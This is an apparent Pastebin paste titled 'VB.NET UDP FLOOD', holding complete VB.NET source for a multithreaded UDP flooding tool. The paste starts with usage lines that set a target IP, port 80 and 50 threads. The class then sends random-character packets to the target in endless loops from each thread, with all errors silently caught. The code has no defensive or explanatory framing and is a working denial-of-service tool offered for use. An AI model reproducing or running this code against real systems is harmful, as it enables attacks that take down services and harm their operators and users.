betrayed

VB.NET UDP FLOOD

Oct 21st, 2020
660
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. 'Call the Function
  2. UDP.Host = ip
  3. UDP.Port = "80"
  4. UDP.Threads = "50"
  5. UDP.str = "500"
  6. UDP.UDP()
  7.  
  8. 'Create a new class call it "UDP" and put in this code
  9. Imports System
  10. Imports System.Net
  11. Imports System.Net.Sockets
  12. Imports System.Threading
  13. Imports System.Text
  14.  
  15. Public Class UDP
  16.  
  17.     Public Shared Host As String
  18.     Public Shared str As Integer
  19.     Public Shared Port As Integer
  20.     Public Shared UDPzSockets As Integer
  21.     Public Shared Threads As Integer
  22.     Public Shared FloodRunning As Boolean
  23.     Public Shared udpClient As New Sockets.UdpClient
  24.     Public Shared bytCommand As Byte() = New Byte() {}
  25.     Public Shared Sub UDP()
  26.         Try
  27.         If FloodRunning = False Then
  28.             FloodRunning = True
  29.             bytCommand = Encoding.ASCII.GetBytes(GetBytes)
  30.             Dim IP As IPAddress = IPAddress.Parse(Host)
  31.             For NumberOfThreads As Integer = 0 To Threads
  32.                 Dim Flooding As New Thread(Sub() Flood(IP, Port))
  33.                 Flooding.Start()
  34.             Next
  35.             End If
  36.         Catch ex As Exception
  37.         End Try
  38.     End Sub
  39.     Public Shared Sub Flood(ByVal Ip As IPAddress, ByVal Port As Integer)
  40.         Do While FloodRunning = True
  41.             Try
  42.                 udpClient.Connect(Ip, Port)
  43.                 udpClient.Send(bytCommand, bytCommand.Length)
  44.             Catch
  45.             End Try
  46.         Loop
  47.         Thread.CurrentThread.Abort()
  48.     End Sub
  49.     Shared Sub StopUDP()
  50.         If FloodRunning = True Then
  51.             FloodRunning = False
  52.         End If
  53.     End Sub
  54.     Shared Function GetBytes()
  55.         Dim R As New Random
  56.         Dim Bytes As String = ""
  57.         Dim Letters As String = "qwertyuioplkjhgfdsazxcvbnm"
  58.         Dim Capitals As String = "QWERTYUIOPLKJHGFDSAZXCVBNM"
  59.         Dim Numbers As String = "0123456789"
  60.         Dim Signs As String = "!£$%^&*()-_=+]}{[;:'@#~<,.>/?"
  61.         For i As Integer = 0 To R.Next(300, str)
  62.             Select Case R.Next(0, 4)
  63.                 Case 0
  64.                     Bytes += Letters.ToCharArray()(R.Next((R.Next(0, 26))))
  65.                 Case 1
  66.                     Bytes += Capitals.ToCharArray()(R.Next(0, 26))
  67.                 Case 2
  68.                     Bytes += Numbers.ToCharArray()(R.Next(0, 10))
  69.                 Case 3
  70.                     Bytes += Signs.ToCharArray()(R.Next(0, 29))
  71.             End Select
  72.         Next
  73.         Return Bytes
  74.     End Function
  75. End Class
RAW Paste Data